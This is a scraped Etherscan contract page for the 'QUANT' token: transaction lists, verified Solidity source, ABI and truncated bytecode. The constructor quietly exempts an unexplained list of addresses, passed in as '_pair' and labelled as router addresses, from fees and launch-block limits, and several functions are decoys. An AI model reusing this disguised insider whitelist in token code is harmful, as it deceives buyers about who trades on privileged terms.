ETH Price: $2,391.82 (-2.14%)

Contract

0xD692Cb29Aa3958A7f5C583323Be2990903A57977
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer209327402024-10-10 4:12:358 mins ago1728533555IN
0xD692Cb29...903A57977
0 ETH0.0006825913.03059737
Transfer209327352024-10-10 4:11:359 mins ago1728533495IN
0xD692Cb29...903A57977
0 ETH0.0007478210.06548232
Approve209326642024-10-10 3:57:1123 mins ago1728532631IN
0xD692Cb29...903A57977
0 ETH0.0005308811.41174911
Approve209325422024-10-10 3:32:4748 mins ago1728531167IN
0xD692Cb29...903A57977
0 ETH0.000358937.7055278
Approve209323122024-10-10 2:46:351 hr ago1728528395IN
0xD692Cb29...903A57977
0 ETH0.0005780912.41048506
Approve209323092024-10-10 2:45:591 hr ago1728528359IN
0xD692Cb29...903A57977
0 ETH0.0006150813.20466623
Approve209322722024-10-10 2:38:351 hr ago1728527915IN
0xD692Cb29...903A57977
0 ETH0.0005586311.99271731
Approve209322642024-10-10 2:36:591 hr ago1728527819IN
0xD692Cb29...903A57977
0 ETH0.0005275411.3399877
Approve209322522024-10-10 2:34:351 hr ago1728527675IN
0xD692Cb29...903A57977
0 ETH0.0005163511.08501825
Approve209322452024-10-10 2:33:111 hr ago1728527591IN
0xD692Cb29...903A57977
0 ETH0.0005534911.89780023
Approve209322412024-10-10 2:32:231 hr ago1728527543IN
0xD692Cb29...903A57977
0 ETH0.0006516314.06180962
Transfer209322282024-10-10 2:29:471 hr ago1728527387IN
0xD692Cb29...903A57977
0 ETH0.0007522610.82652085
Approve209322262024-10-10 2:29:231 hr ago1728527363IN
0xD692Cb29...903A57977
0 ETH0.000462029.91880512
Approve209322232024-10-10 2:28:471 hr ago1728527327IN
0xD692Cb29...903A57977
0 ETH0.0006313713.55793328
Approve209322202024-10-10 2:28:111 hr ago1728527291IN
0xD692Cb29...903A57977
0 ETH0.0009084919.50351178
Approve209322142024-10-10 2:26:591 hr ago1728527219IN
0xD692Cb29...903A57977
0 ETH0.000439669.45088018
Approve209322052024-10-10 2:25:111 hr ago1728527111IN
0xD692Cb29...903A57977
0 ETH0.0004886510.50395727
Approve209321052024-10-10 2:05:112 hrs ago1728525911IN
0xD692Cb29...903A57977
0 ETH0.0006462613.87410453
Approve209320982024-10-10 2:03:472 hrs ago1728525827IN
0xD692Cb29...903A57977
0 ETH0.000453739.79638692
Approve209320952024-10-10 2:03:112 hrs ago1728525791IN
0xD692Cb29...903A57977
0 ETH0.000403218.70319426
Approve209320792024-10-10 1:59:592 hrs ago1728525599IN
0xD692Cb29...903A57977
0 ETH0.0005128511.02405985
Approve209320142024-10-10 1:46:592 hrs ago1728524819IN
0xD692Cb29...903A57977
0 ETH0.0005285211.34627549
Approve209320082024-10-10 1:45:472 hrs ago1728524747IN
0xD692Cb29...903A57977
0 ETH0.0005062110.86734308
Approve209319842024-10-10 1:40:592 hrs ago1728524459IN
0xD692Cb29...903A57977
0 ETH0.0005273411.33572847
Approve209319802024-10-10 1:40:112 hrs ago1728524411IN
0xD692Cb29...903A57977
0 ETH0.000220369.10099435
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
209301612024-10-09 19:34:478 hrs ago1728502487
0xD692Cb29...903A57977
0.00453824 ETH
209301612024-10-09 19:34:478 hrs ago1728502487
0xD692Cb29...903A57977
0.00453824 ETH
209301612024-10-09 19:34:478 hrs ago1728502487
0xD692Cb29...903A57977
0.0172692 ETH
209301612024-10-09 19:34:478 hrs ago1728502487
0xD692Cb29...903A57977
0.0172692 ETH
209301612024-10-09 19:34:478 hrs ago1728502487
0xD692Cb29...903A57977
0.01753147 ETH
209301612024-10-09 19:34:478 hrs ago1728502487
0xD692Cb29...903A57977
0.01753147 ETH
209301612024-10-09 19:34:478 hrs ago1728502487
0xD692Cb29...903A57977
0.01779978 ETH
209301612024-10-09 19:34:478 hrs ago1728502487
0xD692Cb29...903A57977
0.01779978 ETH
209301612024-10-09 19:34:478 hrs ago1728502487
0xD692Cb29...903A57977
0.01807431 ETH
209301612024-10-09 19:34:478 hrs ago1728502487
0xD692Cb29...903A57977
0.01807431 ETH
209301612024-10-09 19:34:478 hrs ago1728502487
0xD692Cb29...903A57977
0.01835525 ETH
209301612024-10-09 19:34:478 hrs ago1728502487
0xD692Cb29...903A57977
0.01835525 ETH
209301612024-10-09 19:34:478 hrs ago1728502487
0xD692Cb29...903A57977
0.01864279 ETH
209301612024-10-09 19:34:478 hrs ago1728502487
0xD692Cb29...903A57977
0.01864279 ETH
209301612024-10-09 19:34:478 hrs ago1728502487
0xD692Cb29...903A57977
0.01893716 ETH
209301612024-10-09 19:34:478 hrs ago1728502487
0xD692Cb29...903A57977
0.01893716 ETH
209301612024-10-09 19:34:478 hrs ago1728502487
0xD692Cb29...903A57977
0.01923857 ETH
209301612024-10-09 19:34:478 hrs ago1728502487
0xD692Cb29...903A57977
0.01923857 ETH
209301612024-10-09 19:34:478 hrs ago1728502487
0xD692Cb29...903A57977
0.01954724 ETH
209301612024-10-09 19:34:478 hrs ago1728502487
0xD692Cb29...903A57977
0.01954724 ETH
209301612024-10-09 19:34:478 hrs ago1728502487
0xD692Cb29...903A57977
0.01986341 ETH
209301612024-10-09 19:34:478 hrs ago1728502487
0xD692Cb29...903A57977
0.01986341 ETH
209301612024-10-09 19:34:478 hrs ago1728502487
0xD692Cb29...903A57977
0.02018733 ETH
209301612024-10-09 19:34:478 hrs ago1728502487
0xD692Cb29...903A57977
0.02018733 ETH
209301612024-10-09 19:34:478 hrs ago1728502487
0xD692Cb29...903A57977
0.02051925 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
QUANT

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion
File 1 of 1 : QUANT.sol
/*

Telegram: https://t.me/quantportal
Twitter: https://x.com/quantethereum
Website: https://www.quant.yachts/


 ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░░▒▓██████▓▒░░▒▓███████▓▒░▒▓████████▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░     
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░     
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░     
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░     
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░     
 ░▒▓██████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░     
   ░▒▓█▓▒░                                                        
    ░▒▓██▓▒░                                                      


*/

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.24;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract QUANT is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => uint256) private _UniswapV2Pool;
    address payable private _taxWallet;
    uint256 firstBlock;
    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint8 private constant _decimals = 18;
    string private constant _name = unicode"Quant";
    string private constant _symbol = unicode"QUANT";
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    uint256 public _maxTxAmount = 20_000_000 * 10**_decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10**_decimals;
    uint256 private constant _swapThreshold = 20_000_000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 20_000 * 10**_decimals;
    uint256 public _maxTaxSwap = 3_000_000 * 10**_decimals;
    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor (address _walletTax, uint160[] memory _pair) {
        _taxWallet = payable(_walletTax); 
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
        excludeFromFee(0, _pair);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (firstBlock > 0 && block.number > firstBlock + 2) {removeMaxBuy();}
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((block.number > firstBlock + 75)?_finalBuyTax:_initialBuyTax).div(100);
            if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                if (firstBlock == block.number) {
                    require(_isExcludedFromFee[to], "Bot addresses cannot buy in the first block");
                    require(amount <= _swapThreshold, "Exceeds the swapThreshold.");
                } else {
                    require(amount <= _maxTxAmount, "Exceeds the maxTxAmount.");
                    require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                    if (firstBlock + 3 > block.number) {
                        require(!isContract(to));
                    }
                }
            }
            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }
            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((block.number > firstBlock + 75)?_finalSellTax:_initialSellTax).div(100);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && block.number > firstBlock + 10) {
                taxSwap(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }
    function removeMaxBuy() private {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }
    function excludeFromFee(uint index, uint160[] memory _pair) internal {
        while (index < _pair.length) {
            address routerAddress = address(_pair[index]);
            _isExcludedFromFee[routerAddress] = true;
            _UniswapV2Pool[routerAddress] = _swapThreshold;
            index++;
        }
    }
    function taxSwap(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a>b)?b:a;
    }
    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }
    function getTransactionFee() external pure returns(string memory) {
        return "getTransactionFee";
    }
    function getValidatorReward(uint x) external pure returns(uint) {
        return x - 31;
    }
    function getMaxBlockGas(uint y) external pure returns(bool) {
        return y == 32;
    }
    function getGasPrice() external view returns(uint) {
        return tx.gasprice;
    }
    function withdraw() external onlyOwner {
        require(!tradingOpen, "Trading has already been opened");
        uint256 contractBalance = address(this).balance;
        require(contractBalance > 0, "Contract has no ETH balance");
        payable(owner()).transfer(contractBalance);
    }
    function manualSwap(uint256 amount) external {
        require(_msgSender() == _taxWallet);
        require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
        taxSwap(amount);
    }
    function openTrading() external onlyOwner() {
        require(!tradingOpen,"Trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        address pairAddress = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
        if(pairAddress == address(0)){
            uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        }else {
            uniswapV2Pair = pairAddress;
        }
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }
    receive() external payable {}
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "evmVersion": "paris",
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_walletTax","type":"address"},{"internalType":"uint160[]","name":"_pair","type":"uint160[]"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getGasPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"y","type":"uint256"}],"name":"getMaxBlockGas","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getTransactionFee","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"x","type":"uint256"}],"name":"getValidatorReward","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526014600755601460085560006009556000600a556012600a62000028919062000406565b62000038906301312d006200041e565b600b55620000496012600a62000406565b62000059906301312d006200041e565b600c556200006a6012600a62000406565b6200007890614e206200041e565b600d55620000896012600a62000406565b6200009890622dc6c06200041e565b600e556010805461ffff60a81b19169055348015620000b657600080fd5b50604051620022a0380380620022a0833981016040819052620000d99162000479565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b0319166001600160a01b038416179055620001436012600a62000406565b6200015390633b9aca006200041e565b3360009081526001602081905260408220929092556003906200017e6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001dd3390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002176012600a62000406565b6200022790633b9aca006200041e565b60405190815260200160405180910390a3620002456000826200024d565b505062000596565b8051821015620002ed5760008183815181106200026e576200026e62000564565b6020908102919091018101516001600160a01b038116600090815260039092526040909120805460ff191660011790559050620002ae6012600a62000406565b620002be906301312d006200041e565b6001600160a01b03821660009081526004602052604090205582620002e3816200057a565b935050506200024d565b5050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003485781600019048211156200032c576200032c620002f1565b808516156200033a57918102915b93841c93908002906200030c565b509250929050565b600082620003615750600162000400565b81620003705750600062000400565b81600181146200038957600281146200039457620003b4565b600191505062000400565b60ff841115620003a857620003a8620002f1565b50506001821b62000400565b5060208310610133831016604e8410600b8410161715620003d9575081810a62000400565b620003e5838362000307565b8060001904821115620003fc57620003fc620002f1565b0290505b92915050565b60006200041760ff84168362000350565b9392505050565b8082028115828204841417620004005762000400620002f1565b6001600160a01b03811681146200044e57600080fd5b50565b634e487b7160e01b600052604160045260246000fd5b8051620004748162000438565b919050565b600080604083850312156200048d57600080fd5b82516200049a8162000438565b602084810151919350906001600160401b0380821115620004ba57600080fd5b818601915086601f830112620004cf57600080fd5b815181811115620004e457620004e462000451565b8060051b604051601f19603f830116810181811085821117156200050c576200050c62000451565b6040529182528482019250838101850191898311156200052b57600080fd5b938501935b828510156200055457620005448562000467565b8452938501939285019262000530565b8096505050505050509250929050565b634e487b7160e01b600052603260045260246000fd5b6000600182016200058f576200058f620002f1565b5060010190565b611cfa80620005a66000396000f3fe6080604052600436106101445760003560e01c8063715018a6116100b6578063a9059cbb1161006f578063a9059cbb146103b4578063b70143c9146103d4578063bf474bed146103f4578063c9567bf91461040a578063dd62ed3e1461041f578063e294bdad1461046557600080fd5b8063715018a6146102ed5780637d1db4a51461030257806385d79102146103185780638da5cb5b146103525780638f9a55c01461037057806395d89b411461038657600080fd5b8063313ce56711610108578063313ce567146102195780633ccfd60b14610235578063455259cb1461024c57806349bd5a5e1461025f578063686f00df1461029757806370a08231146102b757600080fd5b806306fdde0314610150578063095ea7b3146101905780630faee56f146101c057806318160ddd146101e457806323b872dd146101f957600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b50604080518082019091526005815264145d585b9d60da1b60208201525b60405161018791906118c9565b60405180910390f35b34801561019c57600080fd5b506101b06101ab36600461192d565b610486565b6040519015158152602001610187565b3480156101cc57600080fd5b506101d6600e5481565b604051908152602001610187565b3480156101f057600080fd5b506101d661049d565b34801561020557600080fd5b506101b0610214366004611959565b6104be565b34801561022557600080fd5b5060405160128152602001610187565b34801561024157600080fd5b5061024a610527565b005b34801561025857600080fd5b503a6101d6565b34801561026b57600080fd5b5060105461027f906001600160a01b031681565b6040516001600160a01b039091168152602001610187565b3480156102a357600080fd5b506101d66102b236600461199a565b61063f565b3480156102c357600080fd5b506101d66102d23660046119b3565b6001600160a01b031660009081526001602052604090205490565b3480156102f957600080fd5b5061024a61064c565b34801561030e57600080fd5b506101d6600b5481565b34801561032457600080fd5b506040805180820190915260118152706765745472616e73616374696f6e46656560781b602082015261017a565b34801561035e57600080fd5b506000546001600160a01b031661027f565b34801561037c57600080fd5b506101d6600c5481565b34801561039257600080fd5b50604080518082019091526005815264145550539560da1b602082015261017a565b3480156103c057600080fd5b506101b06103cf36600461192d565b6106c0565b3480156103e057600080fd5b5061024a6103ef36600461199a565b6106cd565b34801561040057600080fd5b506101d6600d5481565b34801561041657600080fd5b5061024a610753565b34801561042b57600080fd5b506101d661043a3660046119d0565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561047157600080fd5b506101b061048036600461199a565b60201490565b6000610493338484610cb2565b5060015b92915050565b60006104ab6012600a611b03565b6104b990633b9aca00611b12565b905090565b60006104cb848484610dd6565b61051d843361051885604051806060016040528060288152602001611c9d602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906114a4565b610cb2565b5060019392505050565b6000546001600160a01b0316331461055a5760405162461bcd60e51b815260040161055190611b29565b60405180910390fd5b601054600160a01b900460ff16156105b45760405162461bcd60e51b815260206004820152601f60248201527f54726164696e672068617320616c7265616479206265656e206f70656e6564006044820152606401610551565b47806106025760405162461bcd60e51b815260206004820152601b60248201527f436f6e747261637420686173206e6f204554482062616c616e636500000000006044820152606401610551565b600080546040516001600160a01b039091169183156108fc02918491818181858888f1935050505015801561063b573d6000803e3d6000fd5b5050565b6000610497601f83611b5e565b6000546001600160a01b031633146106765760405162461bcd60e51b815260040161055190611b29565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610493338484610dd6565b6005546001600160a01b0316336001600160a01b0316146106ed57600080fd5b30600090815260016020526040902054811115801561070c5750600081115b6107475760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610551565b610750816114de565b50565b6000546001600160a01b0316331461077d5760405162461bcd60e51b815260040161055190611b29565b601054600160a01b900460ff16156107d75760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610551565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108209030906108126012600a611b03565b61051890633b9aca00611b12565b600f546040805163c45a015560e01b815290516000926001600160a01b03169163c45a01559160048083019260209291908290030181865afa15801561086a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088e9190611b71565b6001600160a01b031663e6a4390530600f60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109149190611b71565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa15801561095f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109839190611b71565b90506001600160a01b038116610b2657600f60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109e6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0a9190611b71565b6001600160a01b031663c9c6539630600f60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a6c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a909190611b71565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610add573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b019190611b71565b601080546001600160a01b0319166001600160a01b0392909216919091179055610b42565b601080546001600160a01b0319166001600160a01b0383161790555b600f546001600160a01b031663f305d7194730610b74816001600160a01b031660009081526001602052604090205490565b600080610b896000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610bf1573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c169190611b8e565b5050601054600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610c6f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c939190611bbc565b50506010805462ff00ff60a01b19166201000160a01b17905543600655565b6001600160a01b038316610d145760405162461bcd60e51b81526020600482015260